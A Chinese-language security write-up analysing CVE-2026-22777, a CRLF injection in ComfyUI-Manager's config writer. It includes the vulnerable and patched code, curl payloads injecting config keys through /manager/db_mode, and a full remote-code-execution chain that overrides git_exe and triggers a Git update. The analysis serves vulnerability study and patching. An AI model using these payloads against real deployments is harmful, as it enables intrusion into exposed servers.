0. 前言

本篇文章继续来分析一下AI方面的漏洞,具体是ComfyUI-Manager的CVE-2026-22777漏洞。

1. 漏洞简介

ComfyUI-Manager 在处理来自 HTTP 查询参数的配置写入时,未对 CRLF 等控制字符进行过滤或规范化。在配置文件属于“行分隔的 key=value”格式时,攻击者可以通过在 value 中注入 `\r\n`,将同一次写入拆分为多行,从而插入新的配置项,最终再结合Git URL安装功能实现远程代码执行。

1.1 核心成因

  • 后端将用户输入直接拼接为 key=value 写入配置文件

  • 未过滤 `\r` / `\n` 等控制字符

  • 结果是 value 的 CRLF 被解释为换行,造成跨行注入与新增配置键

2. 漏洞概述

  • 漏洞编号:CVE-2026-22777

  • 漏洞类型:CRLF Injection

  • 影响组件:ComfyUI-Manager

  • 影响版本:< 3.39.2 或 4.0.0–4.0.4

  • 修复版本:3.39.2、4.0.5 及之后版本

  • 利用条件:接口需可被网络访问(常见于 ComfyUI 以 --listen 启动的部署)

3. 环境搭建

参考官方文档搭建环境,其中注意的是,需要安装有漏洞的版本的ComfyUI-Manager,我这里直接选择了3.39.1版本。搭建成功示例如下:

4. POC构建与原理分析

4.1 先把公告翻译成可验证的 3 个问题

从安全公告中需要拆成 3 个可回答的问题:

  1. 写入点在哪里:配置到底由谁写入?写入方式是什么(字符串拼接 / ConfigParser / JSON dump)?这里补充常见的写配置的方法有:

  • 字符串拼接:直接把 key=value 拼接到配置文件末尾

  • ConfigParser:使用 Python 的 ConfigParser 模块写入配置项

  • JSON dump:将配置项序列化为 JSON 字符串后写入文件
    而从安全公告中可以得知,该漏洞是通过ConfigParser写入配置的,并且最后保存到了config.ini文件中。

  1. 入口点在哪里:哪些 HTTP 端点把“用户输入”写进配置(GET/POST、query/body、参数名是什么)?这里补充常见的写配置的入口的伪代码有:

  • GET 参数:?key=value

  • POST 参数:key=value 在 body 中

  • JSON 体:{"key": "value"}
    这一点暂时从安全公告中获取不到,需要我们自己去代码中探索。

  1. 怎么验证 PoC 是否成功:验证方法:

  • 检查配置文件是否新增了预期的配置项

4.2:克隆官方源码并切换到漏洞版本进行分析

  • 克隆 ComfyUI-Manager 官方源码:

git clone https://github.com/Comfy-Org/ComfyUI-Manager.git
cd ComfyUI-Manager
git fetch --tags
git tag -l
  • 新建“漏洞分析”分支并切到有漏洞的版本(示例以 3.39.1 为例):

git switch -c vuln-3.39.1-analysis
git checkout 3.39.1

4.3 问题一:写入点在哪里

结合官方安全公告和修复补丁信息,我们锁定漏洞位于配置文件的处理逻辑中。通过检索 config.ini 相关代码,可以确认:

  • 读取入口:prestartup_script.py 中使用 configparser 读取 config.ini。

# 读取入口代码:prestartup_script.py
def read_config():
    global default_conf
    try:
        import configparser
        config = configparser.ConfigParser(strict=False)
        config.read(manager_config_path)
        default_conf = config['default']
    except Exception:
        pass

  • 写入入口:manager_core.py 中的 write_config 函数,同样使用 configparser。

  • 结论:写入方式是 Python 的 ConfigParser 模块,目标文件是 config.ini。

# 写入入口代码:manager_core.py
def write_config():
    config = configparser.ConfigParser(strict=False)

    config['default'] = {
        'preview_method': manager_funcs.get_current_preview_method(),
        'git_exe': get_config()['git_exe'],
        'use_uv': get_config()['use_uv'],
        'channel_url': get_config()['channel_url'],
        # ... (其他配置项)
        'db_mode': get_config()['db_mode'],
    }

    directory = os.path.dirname(manager_config_path)
    if not os.path.exists(directory):
        os.makedirs(directory)

    with open(manager_config_path, 'w') as configfile:
        config.write(configfile)

官方补丁对比:
结合官方补丁(commit
f4fa394e0f03b013f1068c96cff168ad10bd0410)可以看出,修复方案正是针对这一写入点进行了增强。在调用 config.write() 之前,补丁增加了一段清洗逻辑,强制移除了所有字符串值中的特殊字符。

# 修复后的 write_config 逻辑
# Sanitize all string values to prevent CRLF injection attacks
for key, value in config['default'].items():
    if isinstance(value, str):
        config['default'][key] = value.replace('\r', '').replace('\n', '').replace('\x00', '')

with open(manager_config_path, 'w') as configfile:
    config.write(configfile)

这段代码直接证明了漏洞的根源在于 ConfigParser.write() 在写入前未对内存中的配置值进行无害化处理。

4.4 问题二:入口点在哪里

确认写入点后,我们需要反推入口点。通过分析官方补丁(修复了 write_config 函数)和代码交叉引用,我们发现 write_config 在 manager_server.py 中被频繁调用。

进一步查看这些调用点的上下文,发现普遍使用 request.rel_url.query['value'] 来获取用户输入并更新配置。基于这一特征,我们以 request.rel_url.query['value'] 为关键词进行搜索,成功定位了多个存在问题的 HTTP GET 接口。

结论:

  • 入口端点:多个 /manager/* 路由,如 /manager/db_mode、/manager/preview_method。

  • 参数传递:通过 HTTP GET 请求的 value 查询参数。

  • 处理逻辑:直接读取 value 参数 -> 更新内存配置 -> 调用 write_config() ,全程无过滤。

关键代码(以 /manager/db_mode 为例):

# 存储模式路由:manager_server.py
@routes.get("/manager/db_mode")
async def db_mode(request):
    if "value" in request.rel_url.query:
        # 直接读取 value 并设置,未过滤
        set_db_mode(request.rel_url.query['value'])
        # 立即落盘
        core.write_config()
    else:
        return web.Response(text=core.get_config()['db_mode'], status=200)

    return web.Response(status=200)

快速验证:

  • 默认 ComfyUI 监听 8188 端口(如使用自定义端口,请替换 URL)

  • 直接执行以下命令即可观察路由返回值与状态码

# 可选:设置基础地址变量
BASE="http://127.0.0.1:8188"

# 1) db_mode:读取当前值
curl -s "$BASE/manager/db_mode"

# 2) db_mode:设置为 sqlite(写入)
curl -i "$BASE/manager/db_mode?value=sqlite"


# 3) db_mode:注入示例
curl -i "$BASE/manager/db_mode?value=cache%0Dinjected_key%20=%20injected_value"

# 若未生效,可尝试 CRLF 变体(不同环境写入行为可能不同)
# curl -i "$BASE/manager/db_mode?value=cache%0D%0Ainjected_key%20=%20injected_value"

# 4) preview_method:读取或设置(可能因特性开启返回 403)
curl -i "$BASE/manager/preview_method"                                # 读取
curl -i "$BASE/manager/preview_method?value=auto"                     # 设置
# 5) component_policy / update_policy:读取与设置
curl -i "$BASE/manager/policy/component"                              # 读取
curl -i "$BASE/manager/policy/component?value=strict"                 # 设置示例
curl -i "$BASE/manager/policy/update"                                 # 读取
curl -i "$BASE/manager/policy/update?value=auto"                      # 设置示例

关于补丁的说明:
值得注意的是,官方补丁并没有修改这些入口路由。/manager/db_mode 等接口依然照常接收用户输入的 value。修复工作完全是在 sink 点(即 write_config 函数)完成的。

4.5 问题三:如何验证POC是否生效

在 4.1 中我们提到验证方法是“检查配置文件是否新增了预期的配置项”。

  1. 构造 Payload:向 /manager/db_mode 发送 value=cache%0Dinjected_key%20=%20injected_value。

  1. 确认 cache 路径:

# 1) 进入 ComfyUI 根目录
cd ~/ComfyUI_Project/ComfyUI

# 2) 在整个 ComfyUI 目录内查找 config.ini
find . -type f -name config.ini


参考代码:

# prestartup_script.py
_has_system_user_api = hasattr(folder_paths, 'get_system_user_directory')
if _has_system_user_api:
    manager_files_path = os.path.join(folder_paths.get_user_directory(), '__manager')
else:
    manager_files_path = os.path.join(folder_paths.get_user_directory(), 'default', 'ComfyUI-Manager')

manager_config_path = os.path.join(manager_files_path, 'config.ini')


代码解析:

上述代码揭示了 ComfyUI-Manager 如何决定配置文件的存储位置:

  1. 多用户隔离检测:代码首先通过 hasattr(folder_paths, 'get_system_user_directory') 检测当前的 ComfyUI 是否支持多用户隔离(System User Protection)。

  1. 路径分支:

  • 新版/多用户模式 (if 分支):如果支持,数据存储在 user/__manager 目录下。

  • 旧版/单用户模式 (else 分支):如果不支持,则回退到 default/ComfyUI-Manager。

  1. 最终结果:根据此逻辑,config.ini 绝对路径被确定为 .../user/__manager/config.ini。

关于 Cache 路径的补充说明:

同理,ComfyUI-Manager 的缓存目录 (cache) 也是基于上述 manager_files_path 定义的。在 manager_core.py 中可以看到如下定义:

# manager_core.py
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
  1. 验证标准:查看 config.ini,确认在 [default] 段下出现了独立的 injected_key=injected_value 行。

说明:

  • 使用 %0A(LF)时,ConfigParser 在写入时会为多行值添加续行缩进(行首空格),因此第二行不是新键

  • 本环境下使用 %0D(CR)可获得“列首对齐”的第二行,从而形成独立 key=value 行被成功解析

  • 所以编写POC时,我们需要在 ['\r', ' \n', '\r\n'] 三种分隔符中轮试,以适配不同环境的写入与解析行为

读取时(如下代码所示),ConfigParser 会将其解析为两个独立的键值对,从而实现配置注入。

# prestartup_script.py
config.read(manager_config_path)
default_conf = config['default']

4.6 进阶利用:构建完整 RCE 链

仅仅注入一个配置项(如 injected_key)只能证明我们可以修改配置。要实现远程代码执行 (RCE),我们需要找到一个能被“被污染的配置”影响的关键功能点,可以构建如下 RCE 链:

第一步:寻找 RCE 触发点 (Git 配置劫持)

我们在 manager_server.py 中发现,ComfyUI-Manager 启动时会读取 git_exe 配置,并将其设置为环境变量 GIT_PYTHON_GIT_EXECUTABLE。这决定了 GitPython 库底层调用的 Git 可执行文件路径。

# manager_server.py
def setup_environment():
    git_exe = core.get_config()['git_exe']

    if git_exe != '':
        git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)

如果我们能注入 git_exe = /path/to/malicious_script,那么后续所有的 Git 操作都会执行该脚本。

第二步:寻找无需权限的 Git 操作路由

我们需要找到一个不需要高权限(high 安全级别)就能触发 Git 操作的 HTTP 接口。

对比以下两个路由:

  1. /manager/queue/update_all:有权限检查。

@routes.get("/manager/queue/update_all")
async def update_all(request):
    if not is_allowed_security_level('middle'):
        # ... 报错返回 403
  1. /manager/queue/update_comfyui:无权限检查!

@routes.get("/manager/queue/update_comfyui")
async def update_comfyui(request):
    is_stable = core.get_config()['update_policy'] != 'nightly-comfyui'
    task_queue.put(("update-comfyui", ('comfyui', is_stable)))
    return web.Response(status=200)

该接口会将任务放入队列,最终调用 core.update_path,进而触发 Git 操作。

# manager_core.py
def update_path(repo_path, instant_execution=False, no_deps=False):
    if not os.path.exists(os.path.join(repo_path, '.git')):
        return "fail"

    # version check
    repo = git.Repo(repo_path)
    # ...
    remote = repo.remote(name=remote_name)

    try:
        remote.fetch()

代码解析:

这段代码展示了 ComfyUI-Manager 如何执行 Git 操作:

  1. 初始化仓库:repo = git.Repo(repo_path) 使用 GitPython 库加载目标仓库。

  1. 执行操作:remote.fetch() 会调用底层的 Git 可执行文件。

  1. 漏洞触发:由于我们在第一步中通过 setup_environment 劫持了 GIT_PYTHON_GIT_EXECUTABLE 环境变量,GitPython 在执行 fetch 操作时,实际上会直接调用我们注入的恶意脚本(如 /tmp/evil_script),从而实现 RCE。

第三步:完整的攻击流程

结合上述发现,完整的攻击步骤如下:

  1. 注入配置:向 /manager/db_mode 发送 Payload,覆盖 git_exe。

  • Payload: value=cache%0Dgit_exe%20=%20/tmp/evil_script

  • 效果:config.ini 中出现 git_exe = /tmp/evil_script。

  1. 重启服务:调用 /manager/reboot。

  • 目的:让 setup_environment() 重新运行,加载恶意的 GIT_PYTHON_GIT_EXECUTABLE。

  1. 触发执行:访问 /manager/queue/update_comfyui。

  • 结果:服务器尝试执行 Git 更新,实际上执行了 /tmp/evil_script。

注意:为何不直接注入 security_level = weak?
manager_migration.py 中存在强制覆盖逻辑,可能会在启动时重置安全级别,导致攻击失败。因此,利用 git_exe 进行底层劫持是更稳定、隐蔽的方案。

# manager_migration.py
def force_security_level_if_needed(config_dict):
    """Force security level to 'strong' if on old ComfyUI."""
    if not has_system_user_api():
        config_dict['security_level'] = 'strong'
        return True
    return False

最终效果,向git_exe 配置了恶意的脚本

5. 参考链接

  1. GHSA-562r-8445-54r2(官方安全公告):https://github.com/Comfy-Org/ComfyUI-Manager/security/advisories/GHSA-562r-8445-54r2

  1. 修复提交(示例):https://github.com/Comfy-Org/ComfyUI-Manager/commit/f4fa394e0f03b013f1068c96cff168ad10bd0410

  1. GitLab Advisory:https://advisories.gitlab.com/pkg/pypi/comfy-cli/CVE-2026-22777/